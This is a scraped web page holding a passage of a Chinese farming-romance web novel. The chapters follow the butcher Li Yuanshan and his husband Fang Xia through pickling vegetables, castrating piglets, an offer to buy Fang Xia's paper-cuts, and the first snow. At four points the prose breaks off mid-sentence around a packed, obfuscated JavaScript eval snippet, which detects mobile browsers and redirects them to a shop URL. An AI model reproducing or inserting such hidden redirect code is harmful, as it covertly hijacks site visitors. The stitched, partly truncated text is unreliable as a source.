d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292688|198528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放在顶上的几颗菜也就慢慢落到缸里去了。 最后在大缸的顶上还要压上一块腌菜石,这样才算完,等过两日再往缸里倒上放凉的白开水没过酸菜,拿盖帘盖上就可以了。 方夏拍拍衣服上沾着的散碎菜叶子,几个人齐齐动手预备着腌另外一缸菜。 两大缸酸菜都腌好了,看天色还早,李远山便说要接着上山去砍柴烧炭,两个弟弟与他一起去,家里只剩下方夏同周秀娘两个人。 还有一大袋芥菜疙瘩要腌,趁着这会儿有功夫便决定一块腌了,省得以后还要再折腾。 半下午的时候,菜都腌完了,方夏进屋端了针线笸箩出来要纳鞋垫子。 前几日病着,李远山怎么也不许他再做针线,这些天好些了,也没怎么动,今日得空了正好将剩下的一气儿做完。 天气越来越冷了,李远山走的路多,不仅要出门卖猪肉,这两天还要上山去砍柴火烧炭,可不就费鞋么。 厚棉鞋已经给他做好了,鞋底做的厚实,再垫上一层鞋垫子,保准冬天不冷。 李远山回来时,方夏刚好将鞋垫子做好,忙冲着人道:“来试试,看合不合脚?” “我先洗一洗。”他身上都是背柴沾上去的碎屑和土,整个人灰扑扑的,眉眼鼻子都是黑色的灰尘。 方夏忙起身拿着鸡毛掸子帮着李远山拍打后背的土灰:“怎么弄成这样?” “回来放完柴,帮大牛取木炭弄的,没事。” 李远山洗涮干净,便同方夏一起回屋去试鞋子。这几天他还穿着单鞋,成天不是上山就是出村走远路,夫郎给做的新棉鞋他还舍不得穿。 屋里炕上,李远山脱了脚上的鞋子,又拿擦脚的布巾将脚底板仔细擦了,才把新鞋垫子垫到棉鞋里套到脚上试穿。 “方才不是洗过脚了?”方夏笑着问。 “怕沾着水,弄脏了新鞋。”李远山一双黑色眼眸仿佛盛着光,一眨不眨看着自己的夫郎。 方夏被他这样看着有些不好意思,忙转身给另外一只鞋去垫新鞋垫子,垫好后递给李远山让他试试。 李远山笑了笑,接过鞋穿上后在炕上踩踩走了几步,新鞋柔软合脚,垫了鞋垫子的鞋底也十分厚实。 “鞋子正好穿,跟脚,也舒服。”李远山将新鞋脱下来,凑到方夏跟前说。 “合脚就好,我做完棉衣剩下不少棉花呢,这几日再给你做一双替换着穿。” 家里以往做棉鞋,都是用旧衣服里拆出来的棉花,哪里舍得用新下来的棉花?知道夫郎心疼自己,李远山心里更美了,俯下身搂着夫郎不撒手。 青天白日的就这么搂搂抱抱,方夏又羞又恼,怕有人进来看见,忙伸手去推人。可李远山哪是方夏能推开的,纵然他使出浑身的力气也没推动一分一毫。 李远山闷笑出声,终于松开了怀抱,圈着人道:“你自己也做一双啊,就用新棉花。” “我不跑远路……” “做一双。” “我……” “做。” 李远山箍着人不动,方夏被盯得没办法,只好点头道:“我做我做,一会儿就做。” 李远山这才松开了手。 33. 劁猪 第二日不杀猪,但李远山还是早早就起来了,今日到了约定要去劁猪的时间,他琢磨着劁了猪再去一趟镇上,早些走时间足够,也不用太赶。 前些天他去给柳树村的陈大贵家里劁猪,他手法娴熟下刀也快,陈大贵当场就给他又揽了两家劁猪的生意,到约定的日子李远山自己去就行。 到了柳树村,李远山沿路打听清了要去劁猪的那家人的住处,便直奔那家而去。 村子不算大,李远山来过两趟便熟悉了,路上碰见熟人还要打声招呼:“‘李一刀’来村里劁猪?” 李远山也点着头答应。 没一会儿功夫李远山就到了要劁猪的这家门口,这家姓田,家里猪不多,今日有一窝小猪快出窝了,便等着李远山上门劁猪。 劁猪按公母收钱,公猪崽收八文,母猪崽收十文,田家这窝猪崽有十一只,其中六只母五只公,主人家都让劁了,那便是整一百文。 等陈大贵溜达着到田家时,李远山正将最后一只小猪崽劁完,给伤口上抹一把草木灰,便要去洗手。 田家的人竖着大拇指直夸:“你这兄弟不愧是‘李一刀’啊!这手艺厉害,比以前来咱们村的郑屠子强多了!” “那是!”陈大贵颇有些自得地道:“就我家那大种猪,多少人料理不了,我李兄弟来了,手起刀落那叫一个利索!” “陈大哥过来了。”李远山边洗手边同人打招呼。 陈大贵走过去一拍人的肩膀,笑着说:“今日别走了,中午来大哥家里吃饭,正好陪我喝一盅!” “陈大哥,我今日想去镇上呢,就不去喝酒了。”李远山拱拱手,接着道:“改日我带下酒菜来,定当好好陪大哥喝一杯!” 李远山结了田家劁猪的银钱,同陈大贵肩并肩往外走。 “那正好,我也得去趟镇上,咱兄弟俩一同去,回来了正好吃午饭!” 陈大贵是个爽朗的实诚汉子,李远山左右推脱不过便应了。 两人从田家出来也没停留,立马去了下一家,这回有陈大贵领路,很快就到了需要劁猪的人家。 这一家是陈大贵的远亲,也是姓陈,家里有两窝小猪崽等着劁。 半个时辰后,李远山得了一百四十文钱。 他心里默默算计着,这些日子杀猪卖肉挣了有一千五百多文,上次到陈大哥家帮着劁猪,他给算便宜了,得了两百文,算上今日挣的两百四十文钱,一共是一千九百六十八文钱。 除了近来赚的钱,家里本来还有四两七钱银子,另外就是二百多的铜板,今日除了按着约定要来柳树村劁猪之外,他还要将手里的铜板再去兑换成银钱。 多揽了劁猪的生意确实赚钱,如今手里已经攒了六两银子,算上零碎的银子和铜板,已是快七两了,李远山想着想着便喜上眉梢。 “李兄弟,有什么好事同大哥我说说?”陈大贵一拍李远山的肩膀,不由得也跟着笑起来。 李远山敛了眉间笑意,开口道:“没啥,想着一会儿去兑了银子,就去买些家里用的东西。” “大哥看你是个顾家的汉子,真不错!我就说我眼光好,你定是个能靠得住的,”陈大贵不禁又抬手拍了拍李远山,虽说他和李远山差了半头,可却十分喜欢这个动作,好似有种对兄弟的关爱,“上回同你说的事儿,想得咋样了?” 前几日他来陈大贵家劁猪,陈大贵私下里问过他,要不要来柳树村收毛猪,若是收,他能将满村的生意都说给他。 陈大贵自上回经过了郑屠子那一遭,便再不想卖毛猪给他,这郑屠子收毛猪本就是没个准信儿,他们村养猪的人有时候等不到郑屠子来,便只好自己推着板车拉着毛猪去镇上找肉铺子卖。 这件事陈大贵也考虑了些日子,他看李远山人沉稳有主见,手艺还扎实熟练,便生了这个念头,一来他们有了固定的下家后卖毛猪方便,二来也省得他们自己费力去推着车卖。 只是李远山只在自家门口摆摊,也有固定的收猪主顾,若是揽了柳树村这边的毛猪生意,光家门口的摊位是卖不完的,冬天天气冷还好,肉能存住,可若到了夏天就不成了。 再者说,他们家猪肉摊子做的是口碑生意,不能因为杀猪多卖不新鲜的肉而自砸招牌。 “陈大哥,不瞒你说,这么多的毛猪,我家实在消耗不了,对不住了。”说完李远山对着陈大贵拱了拱手。 陈大贵也没恼,买卖不成仁义在,这个道理他还是懂的:“无妨!李家兄弟,若是日后你改了主意,随时来找大哥就成。” 李远山自然点头答应。 到了镇上后,两人分头去办事,约定好半个时辰后在钱庄碰头。 李远山先去了镇上的首饰铺子,他家小夫郎平日里都是拿最普通的发带束发,这些发带还是做衣服时裁剪剩下的边角,随便裁一条就用了。 今日他便在首饰铺子挑了好几个不同颜色的发带,这样方夏就能替换着束发了。 原本李远山看着铺子里的发簪很好看,可一问价钱,银簪子便宜的也要一两银子,木簪子则没什么好看的花样,相看了一圈后李远山只好作罢。 待日后挣多了银钱,他定给自家夫郎好好买个银簪子戴! 从首饰铺子出来,李远山直奔对面的胭脂铺,擦脸的面脂有好有差,最好的要五十文一罐子,次一些的有四十文和三十文的,想着没给夫郎买上簪子,那面脂便要拿最好的。 买好了面脂,李远山便匆匆朝着钱庄走去。 钱庄门口,陈大贵早已等了好一会儿,见人大步走过来,忙道:“天儿看着有些阴,怕是一会儿要下雪了。” 话音刚落,两人就前后脚进了钱庄,钱庄里人不多,李远山没等多久便轮到他兑银子了。 兑了二两银子,装进随身携带的小荷包里,李远山正预备同等在另外一边的陈大贵一起出门,不想却见钱庄里的老管事急匆匆从后堂出来。 “小兄弟!你且等一等!” 起初李远山还没反应过来,直到身边的陈大贵停下来提醒,他才站住了。 看着面前弯着腰喘得上气不接下气的老管事,李远山有些不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292689|198528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明所以:“老人家,可还有什么事?” “小兄弟……”老管事抬手扶着站在身边的李远山,边喘气边说话:“老朽姓钱,是这钱庄的管事,小兄弟你稍坐坐,有一位章老板寻你,我立刻就遣人去通知章老板!” 李远山在记忆里寻了半天,也没想起什么时候认识这位章老板,也不知道因何缘由要寻自己,只好先等着。 钱管事本要领着人要去内间坐,可李远山推辞不去,便只好让伙计上了茶,在大堂角落坐了,边喝茶边等。 陈大贵坐在李远山旁边,压低声音问:“我说兄弟,你何时认识了这什么章老板?” “不瞒大哥说,我也不认识这什么章老板。”李远山凑过去低声回答,“许是认错了人吧。权且等等看,若是认错了人,咱们走了就是。” 两人不再说话,只坐在大堂里等。 不到一盏茶功夫,门外匆匆走来一个四十岁上下的男子,穿着打扮不凡,一看就是非富即贵。 这人一进门,便急忙朝着钱管事招呼:“老钱头,人在哪呢?” 钱管事领着他走到大堂角落,指着李远山道:“这就是你要找的人啊!” 早在这章老板进来钱庄时,李远山便站了起来,此时站到近处一看,脑海里忽地浮现出月前他带着自家夫郎来镇上那次,也是在这钱庄碰见了章老板。 后来他俩去买糊窗户的麻纸也碰上过这位章老板,当时自己不小心还撞了人家,亏得章老板大度当时并没有与他计较,只是自己确实不认识人。 正想着,对面章老板拱拱手道:“鄙人姓章,章有德。不知小兄弟尊姓大名?” “章老板客气了,山野村夫,不值一提。我叫李远山。” 几人互通姓名后,再次由钱管事领着去了内间。 待坐定后,章老板也不含糊,对着李远山又拱拱手问:“远山兄弟,我听钱管事说有缘见到你的荷包上绣的是鹰踏兔的样式,可否借我看看?” 李远山正想着自己同这章老板有什么渊源,听见对面的人要看自己的荷包还有些愣怔。 好在他很快就反应过来,稍稍犹豫后开口问道:“荷包是我夫郎绣的,不知道章老板看这荷包做什么?” 知道是自己有些急躁鲁莽,章老板三言两语说清了缘由,只道:“小兄弟莫怪,我只看一看,没别的意思。” 见章老板再三保证,李远山才缓缓伸手从怀里拿出荷包递了过去。 章老板接过荷包后仔细端详,脸上颇有些激动,嘴里直念叨:“果真是鹰踏兔!果真是啊!” 说着不忘拽过一旁坐着的钱管事,激动地道:“老钱头你瞧!这样式,这轮廓,虽是绣在荷包上的,但纹路却栩栩如生,若是用在剪纸上,那定是百里挑一、难得一见的花样子呀!” 周围几个都是汉子,并不懂什么剪纸绣花的手艺,凑到一起也看不出个一二三来。 不过认真瞅着,这荷包上的图样确实非同一般,竟是平常从来没见过的花样,几人七嘴八舌齐齐夸赞李远山夫郎的手艺真乃一绝。 34. 初雪 将荷包还给李远山后,章老板又道:“李家兄弟,不瞒你说,十多年前我家窗花生意还没经营得这么大,那时候就是卖些宣纸、麻纸,后来有个老太太来卖自己剪的窗花,那手艺难得的很,再后来我们家才多了窗花的生意。” “这位老太太剪的花样子种类多、样式也复杂,许多花样还都是自己琢磨出来的,别人不会剪,尤其这鹰踏兔的图样,只有这位老太太会剪,当时都供不应求,因此我们常家铺子里的剪纸是不愁卖的。” 章老板歇口气接着道:“只是后来没过两年老太太就再不来了,我也有将近五六年没见过鹰踏兔了。从前老太太来了只卖窗花,从不说家中事,也不知还有没有亲眷在,我也曾派人出去到附近几个村子寻过,都是无功而返。” 此时几人都看向了李远山,李远山缓缓吐出口气:“该是我夫郎的阿奶。” 个中缘由,站着的几人不知道,可李远山听完章老板的话,心里却都明白了。 方夏曾说小时候同阿奶相依为命,一个老太太拉扯一个小娃娃,丈夫儿子都没了,儿媳也不孝顺,连个帮衬的人也没有,可想而知有多难。 幸好老太太有剪纸的手艺,能赚些银钱养活方夏,可剪纸耗神,那时候方夏太小,阿奶一个人还要操劳家里地里那么多事,无奈最后落下了病根,早早离世了。 章老板接着道:“李家兄弟,既是你的夫郎,可否问问愿不愿意剪纸?无拘什么花样,我都收,价格好商量。” “多谢章老板抬举,这件事我需得先回去同夫郎商议,有消息了定会给章老板一个答复。”李远山没有一口咬死答应或是不答应,这事儿还是得回去问自家夫郎,不能让夫郎觉得他独断专行,什么事都不与人商量。 事情说完,天色也黑沉沉的了,李远山和陈大贵一起同章老板他们告辞,说该回家去了。 章老板和钱管事将他们二人送到钱庄门口,几人拱手道别,章老板还不忘接着说:“李家兄弟,务必问一问你夫郎啊!银钱上绝对不亏你们,你夫郎这剪纸手艺在咱们这镇上也是独一份的!” 李远山道:“章老板放心,我回去了定会一字不落同夫郎说的。” 天色越发暗了,眼瞅着就要下雪,李远山也不多停留,抬腿就走。 不想斜刺里忽然撞过来一个走路东倒西歪的肥硕汉子,一下子扑到了李远山后边的陈大贵身上。 “哪里来的醉鬼?”陈大贵伸手将人推到一边,嫌弃地捂上了鼻子。 原因无他,实在是此人身上的味道过于难闻。 平日里他们也偶有喝酒,身上会有些酒味儿,可这汉子身上除了难闻的酒味还有一股好似泼了泔水的酸臭味,味道着实让人难以忍受。 那汉子摔倒在地,正好露出来一张肥胖却熟悉的脸——方春。 李远山不动声色,也没理人,拉着陈大贵就预备走。 “李屠户!你……你别走!”方春喝多了,说话也是断断续续的,“发……发达了啊!” 见李远山并不搭理他,方春挣扎着起身想追人,可奈何他手软脚软,连站起来的气力也没有了,他只好坐在地上大喊:“李癞脸!” 李远山猛地回过头,一双眼睛黑沉沉地盯着坐在地上的人,杀猪的人自带煞气,这一眼吓得方春不说话了,酒也醒了一半。 其实方才他从钱庄门口经过时,并没有听得很清楚,只是看到这李屠户同镇上有钱的老板站在一处,还说什么“银钱”“独一份”的。 方春喝得醉醺醺的脑袋里琢磨半天,也想不出来他那个双儿弟弟能有什么是值钱的独一份,便跌跌撞撞扑过来了。 “当日话说得清楚明白,我家夫郎与你们再无任何干系。你从哪里来就回哪里去,少在这里放赖!”李远山声音不高,可一字一句让人听了心里不由得泛起一丝恐惧,“若有下次再撞到我面前,定不饶你!” 说罢,他朝着身边的陈大贵招呼一声,便头也不回地走了。 空中已开始纷纷扬扬飘洒起雪花,李远山行到柳树村与陈大贵告别后,加快了脚步赶路。 看着雪飘得不小,怕路上不好走,他也婉拒了陈大贵让去家里避一避的邀请,只蒙头赶路。 小半个时辰后,终于能看见玉河村的村口了。路上早已没什么人了,李远山肩头积了厚厚一层雪,一路上他边拍雪边赶路,还是沾湿了身上穿的衣服。 而自从天开始阴下来,方夏就担心起来,一会儿怕李远山路上风雪大赶不回来,一会儿又怕人受冻生病,一时之间忧心忡忡。 不过他也没闲着,灶房里自有周秀娘忙碌着熬姜汤,他便将他们屋里的炕道通了通,抱着柴火将炕烧热。 等屋里热起来了,方夏又将新衣服塞到炕头去暖和着,待会等李远山回来万一淋了雪,还是要换一换衣服的,预防着了风寒。 一切收拾妥当,方夏出门去看了好几趟,一直等到下雪了也没等到人。 周秀娘撵着人回屋里去,别儿子没等回来,儿夫郎却再着了风病了。 等了好一会儿,才看见李远山高大的身影急匆匆出现在路上,方夏急忙从屋里出来迎上去,等人走进院子赶紧上前帮他拍打身上沾着的雪花, 李远山错开一步道:“我没事,你快回屋里去!小心着凉!” 方夏没依他,仍旧快速拍打着李远山身上的雪,只不再说话。 李远山心里有点欣喜,往常都是自己说什么方夏便听什么,乖软得很,今日居然头一次不听自己的话,他心里却觉得极舒爽。 夫郎到底是同从前不一样了。 他突然间想,不知什么时候自家夫郎也能同村中其他媳妇夫郎一样泼辣,不高兴了就同自家汉子高声吵闹,甚至大声叫骂。 摇摇头,将这些有的没的抛到脑后去,李远山接过方夏手里的干净衣裳换了,又坐到炕边去解头发。淋了雪,自己赶路着急出了一身汗,头上的雪都化成了水渗进头发里,若不赶紧洗洗怕是要闹病。 今年的第一场雪就下这么大,哪怕像李远山这样火力旺的汉子也受不住冻,头一次手脚冰凉坐在炕上发抖。 方夏端着姜汤进屋时,见人坐在炕上有些哆嗦,便道:“先热热的喝一碗姜汤,我去端些热水来给你洗头。” “好!”只要是夫郎说的话,李远山都应得很快。 趁着人喝姜汤的功夫,方夏又出去兑了一盆热水,试着不烫手了才端进屋里。 “你躺着,我给你洗洗头发。”方夏把屋里的椅子拖过来,将水盆放了上去。 自长大后,有十几年没人给李远山洗过头发了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292690|198528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,乍然听见方夏说要给他洗头,让他一时愣在那里不知作何反应。 旁边站着的方夏不禁抿嘴笑了下,用手理了理人湿漉漉的头发,又说了一遍。 李远山呆呆地躺下,将后脑勺撑在炕沿边,好让头发都能浸没到水盆里。 屋里安安静静的,一时之间谁也没有说话,只有方夏时不时撩水洗头撮头发的声音,清香的皂角伴着人柔软温暖的手在李远山耳边抚过,让他忍不住抖了一下。 “怎地了?”方夏问。 “没事,我有些冷。”李远山闷声回答。 “那一会儿再泡泡脚,先暖和暖和再吃饭。”估计是天气冷冻得狠了,方夏加快了揉搓的速度。 “嗯!” 家里人都吃过午饭了,李远山回来得迟,他的饭便一直在锅里温着。等李远山泡好了脚,拿着布巾坐在炕上擦头发时,方夏又将饭菜端进来屋里。 “摆上炕桌吃吧?” “嗯!炕上吃着热乎些。”说罢也不等夫郎伸手,李远山便自己跳下地将炕桌一手拎上炕来。 李远山的头发还没彻底干透,趁着人吃饭的当口,方夏绕到他身后,拿起布巾仔细擦着人的头发。 屋里很暖和,李远山的心也暖和得好似泡在温水中,静谧中流淌着旁人无法察觉的丝丝暖意,熏得人从里到外都是热的。 “你可喜欢剪纸?” 忽然听到李远山问了一句,方夏还有些茫然,只说:“喜欢?……喜欢什么?” “剪纸。”李远山回过头看着自家夫郎亮晶晶的黑色眼眸道,“你喜欢剪纸吗?” 叠好擦头发的布巾,方夏脸上出现了困惑,他自小没怎么体会过喜欢这种情绪,并不清楚怎么样才算是喜欢一件事。 不过慢慢回忆着小时候的日子,好像小小的自己拿着剪刀偷偷剪纸时心里是极欢喜的,一方面是因着能帮着阿奶挣钱,一方面也是自己内心深处对剪纸纯粹的喜欢。 不过方夏并没有急着回答李远山的话,而是抬眼问道:“怎么想起来问这个?” 李远山也不打算瞒着人,遂将自己今日在镇上遇到章老板一事说了,为了避免自家夫郎忆起旧事,只三言两语略略讲述了一番。 听完李远山的话,方夏好久都没说话,在素不相识的人那里听说了阿奶那些年的艰辛,拼凑出阿奶的一生,让他心里有些静不下来。 身边人凑过来,轻轻拥住了他,只道:“我不问了,你莫再难过了啊?” “我不是难过,就是心里有股说不出来的劲儿。”方夏靠着人,揉搓着衣角接着说,“我那时候太小了,只知道阿奶去镇上卖剪纸,不晓得还有人能记着她。” 方夏坐直了,直视着李远山的眼睛道:“我喜欢剪纸的,你想让我接章老板的活儿不?” “这个事儿我做不得主,如何定夺还需你来拿主意。” “嗯,我知道了。”方夏想着李远山的话,他没有问他行不行,愿不愿意去做活儿贴补家用,而是先问自己喜欢不喜欢,只这一桩就让他的心软得不得了。 李远山将人搂紧了,又道:“不过我私心里是不想你接的,家里一切有我,挣钱养夫郎该是我的事儿!我只盼着你吃好喝好,咱们好好过日子就行!” “嗯!我听你的!” 35. 真心 两人又依偎着说了好一会儿话,方夏让李远山到被窝里躺着暖和身子,自己端着吃完的碗筷自去收拾洗涮。 这几日天气越发冷了,他们早早就换上了厚被子,薄被子收起来放到柜子里,等到来年再用。 他俩成婚时,方夏嫁妆里并没有陪嫁的被褥,幸好李远山他娘给做的多,八铺八盖,薄厚被子各四套,足够他俩用。 方夏刷过碗,外面还下着雪,家里也没什么活儿要干,便回到屋里预备做些针线活儿。前些日子他给自己做棉衣剩下不少白色的衬布,正好能给李远山裁出来一身里衣穿。 回到屋里,李远山正将新兑的二两银子放到他们的钱匣子里:“小夏,今日兑了二两银子,我放进去了。” “好!”这样他们就有六两整银子了,方夏笑着应声。 李远山围着被子坐在炕上朝着人招手:“你看,给你买了新的发带,还有面脂。” 方夏高兴地睁大了眼睛,他接过东西,坐到铜镜前拿着发带比划着,觉得衬得脸都有了光亮。 面脂他没用过,有些困惑地回过头问:“这个贵吗?是不是要很多钱?” “不贵的,冬天涂到脸上、手上,滋润一些,省的皴了手脸。再说了,贵些也不怕,我能挣钱,你用就是了。” 方夏不再纠结,拧开面脂的盖子挖出来黄豆大小的一块,轻轻在脸上涂抹开,一股不甚明显的香味在屋里飘散开,抹了面脂的肌肤也滋润细腻,确实比平日里舒服。 “过来我看看。”李远山压着声音说道。 方夏走过去,坐到炕上凑近些让人看,这面脂不是胭脂或腮红,抹了也没什么变化看不大出来,只是闻着香些,李远山挪了挪身子,挨近了去看夫郎,只觉人浑身都是香的。 见李远山不说话,方夏只当是抹了面脂有些不好看,便有些不确定地问:“是不是不好看?” “怎么会?”李远山回过神来连忙否认,又贴近夫郎耳边低声说,“不仅好看,还好闻得很,香极了!” 一句话说得方夏不好意思地低下了头,可这一低头却瞧见了李远山鞋子里并没有垫自己给他新做的鞋垫子。 “怎地没垫新鞋垫儿?”方夏抬起头问。 “啊?” “鞋垫儿!” “哦哦,”李远山愣愣点头,看见夫郎一眨不眨盯着他看的眼睛,有些不好意思地挠挠头,“今日出门走的路多,我怕弄脏了新鞋垫儿,就没舍得垫。” “我做了鞋垫子就是给你穿用的,说什么舍不得垫?”方夏轻轻瞪人一眼,又道:“你垫吧,脏污了我帮你洗,若是坏了我再做就是。” 看着自家夫郎难得的俏皮模样,李远山忍不住将人抱住了问:“你说,你心里有没有我?” 猝不及防被抱了个满怀,方夏红着脸将脑袋埋到人的怀里不作声了。 怀里的夫郎没应声,李远山又问了一遍:“你心里是有我的吧?” 有没有的呢?方夏在心里悄悄问自己,一个小小的声音回答:有的。可这如何说出口呢?又怎么好意思说出口呢? 这些日子以来,李远山疼他、照顾他,当得起一个知冷热有本事的夫君,家里上上下下都关心他,还有能串门子拉家常的满哥儿,日子过得踏实又平顺,是曾经的他想都不敢想的。 但是,要怎么开口呢? 一直抱着人的李远山忍不住摇一摇怀里的夫郎,似是提醒。 方夏又将脑袋往李远山怀里埋了埋,红着耳朵说:“有的。” 低如蚊蚋的声音飘散在屋里,可李远山还是听到了,他激动地搂着人晃来晃去,将脸贴到夫郎脖颈处呵呵笑出声。 “不许笑!”方夏瞪着眼睛说。 “好好我不笑!”李远山将人又搂紧些。 “也不许摇!” “好好!不摇!” 李远山将人松开些,咧着嘴角问:“你说你心里有我,真的?” “嗯。”方夏轻轻回答。 不等李远山开口,方夏接着轻声说:“真的。想对你好,给你做饭、洗衣裳,冬天冷了缝棉衣做棉鞋,夏天热了给你做凉粉吃……” 还不等人把话说完,李远山揽过人就亲了过去,亲得又凶又狠,好像要把方夏整个人都吞到肚子里似的。 亲了好一会儿,两人才喘息着分开,李远山气息粗重,方夏也轻轻喘着气,整个人由里到外都透着热气,脸也是红艳艳的,整个人乖软得不行。 李远山狠狠闭了闭眼,现在是白天,得忍着,不能像夜晚那样为所欲为。 方夏扒拉着从人怀里出来,气息还没喘匀,急忙坐到炕头另一边,红着眼睛道:“我还要做针线呢!不许乱来。” 屋里光线不好,方夏将白衬布铺到靠近窗台那边,好借着外面的光亮裁剪衣裳,李远山靠过来将油灯点亮了。 “还早着呢,点灯做什么?” “点灯亮一些,你挪过来些做针线吧。这雪也不知道要下多久,左右没什么事,我给你打下手。”李远山说。 “费灯油呢。”方夏摆摆手道。 “就这一下午能费多少?眼睛重要。” 方夏见说不过他,也就不再言语,专心开始裁剪布料缝衣裳。 平日里都忙,李远山没这么近距离看过自家夫郎做针线活儿,今日得闲他拥着被子坐在一旁,认认真真看着人,这才发现自家夫郎做针线活儿是真利索。 那双柔软灵巧的手好似一把尺子,食指中指交替着就能量出尺寸来,捏着针时专注中带着巧劲,穿针引线也很是麻利。 李远山看得入迷,他从不知道原来闺房里的针线活儿也这么耐看,不大会儿功夫,一件贴身穿的底裤便缝好了。 “我要不要试试?”李远山问。 “不用,我知道尺寸,错不了的。”方夏答, 李远山低头瞅了瞅,抬头嘿嘿笑着说:“你怎地知道我穿多大的底裤?” “……”方夏红着脸抬头,气呼呼攥起拳头狠狠捶了李远山一下,“我怎地不知道?我就是知道!” 看着这样俏皮活泼的夫郎,李远山忍不住又哈哈笑起来。 气得方夏不说话只拿眼睛瞪着他,知道不能把人逗太狠了,李远山见好就收止住笑,殷勤地要帮方夏穿针线。 可李远山那手粗笨得不行,穿了半天都穿不进去一根棉线,反倒将旁边看着的方夏逗笑了。 李远山瞅了瞅面前笑得前仰后合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292691|198528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人,脸上颇有些委屈:“你看,我实在笨得不行,做不来这些,还是得靠夫郎啊!” 方夏接过针线继续,李远山也老老实实坐在一旁帮忙抻着布料,好方便夫郎做活儿。 屋里再度恢复了宁静,可暖洋洋的热意却冲散了屋外的风雪,而两个人的心更是紧紧依靠着彼此。 ------------------------------------- 雪下得大,第二日早上,院子里、屋顶上都是白茫茫的一片。幸好昨日夜里雪就停了,若是继续下,地上还不知道要积多厚的雪呢。 方夏醒来时,李远山已经在穿衣服了,听到夫郎的动静,他扭过头来道:“不着急起来,被窝里暖和些,我去烧盆木炭放屋里,一会儿热乎了你再起来。” “好!”方夏依言躺着,将被子又裹严实一圈。 天还没有大亮,但地上的雪映衬着院子里反而没那么黑,李远山将炭盆放到屋里后,便匆匆去忙活着杀猪了。 木炭烧好后整整齐齐收到柴房里,这些日子屋里冷就要开始用炭盆了,不然天气太冷实在扛不住。 家里人都起来了,有在前院帮忙杀猪的,有在院子里扫雪的,忙碌起来也不觉得冷清。 方夏起来穿好衣服后便径直去了灶房,灶房里放着的水缸里都结了一层薄薄的冰,他拿锅铲将薄冰敲碎后舀水烧热,天气太冷了,早上洗漱还是要兑些热水才好。 洗漱完方夏便预备着做早饭,今日天儿冷,早上正适合吃一碗热乎乎的打卤面,正好灶房角落里还有几根白萝卜,做个萝卜肉丁卤子,清爽不油腻,老话说“冬吃萝卜夏吃姜”,正合时宜。 方夏和面时打进去三个鸡蛋,这些日子鸡鸭下蛋不多,除了家里腌制的咸鸡蛋和咸鸭蛋,剩下的都现吃了,冬天鸡蛋存不住,灶房里熄了火就冷了,万一冻了岂不可惜。 正揉面呢,李青梅揉着眼睛走进来:“夏哥哥,我起来晚了。”说着又打了个哈欠。 “没事,困就多睡一会儿,家里这么多人呢。” “不睡了,要不娘又说我姑娘家家的犯懒,我帮你烧火。”说着李青梅便搬着小板凳坐到了灶膛口那。 方夏手上不停,正忙着切面,又低头嘱咐道:“那边锅也预备着烧火吧,差不多猪该杀好了,一会儿娘进来卤肉用。” “哎!知道了夏哥哥!” 前面场院里忙得差不多了,一家人轮流进来吃饭。 方夏做的面条柔软细腻,配上清爽的萝卜卤子十分好吃,一碗面条配上热乎乎的面汤喝下去,身上一下子就都暖和了。 一家人吃过早饭,都各自忙去了,周秀娘在灶房里卤猪下水,方夏和李青梅去后院喂鸡鸭牲畜。 李达则领着两个小儿子在收拾牲畜棚顶的雪,家里牲畜棚都没有瓦片,是用秸秆搭起来的,若不及时将雪弄下来,怕雪化了不好收拾,若是雪厚边化边冻结了冰块,将棚顶压塌了就更不划算了。 李远山在前面看着摊子卖猪肉,这会儿没什么人,他也拿着大扫把扫路上的积雪,好清理出来一条方便人们行走的路,这样来他们家肉摊子上买肉的人也方便。 一早上的时间,就这么过去了。 36. 剪纸 今日立冬,讲究要吃饺子,俗语有云:“立冬不端饺子碗,冻掉老汉脚趾头”。这一天,家家户户都要割上两斤鲜肉回家包饺子吃,李家也不例外。 李远山早早清扫了道上的积雪,等着村里的人来买肉,今日天冷,不过包饺子要趁早准备,一般人家都会早早来割肉剁馅。 方夏忙活完家里的活儿,洗去手上沾着的脏污,回到屋里取出昨日李远山给买的面脂仔细涂抹了手脸。 